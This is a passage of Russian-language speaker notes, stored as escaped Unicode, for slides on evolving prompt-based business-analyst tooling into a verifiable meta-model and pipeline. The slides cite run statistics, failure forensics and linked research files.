\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f 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\u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c 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\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 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\u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b 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RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a 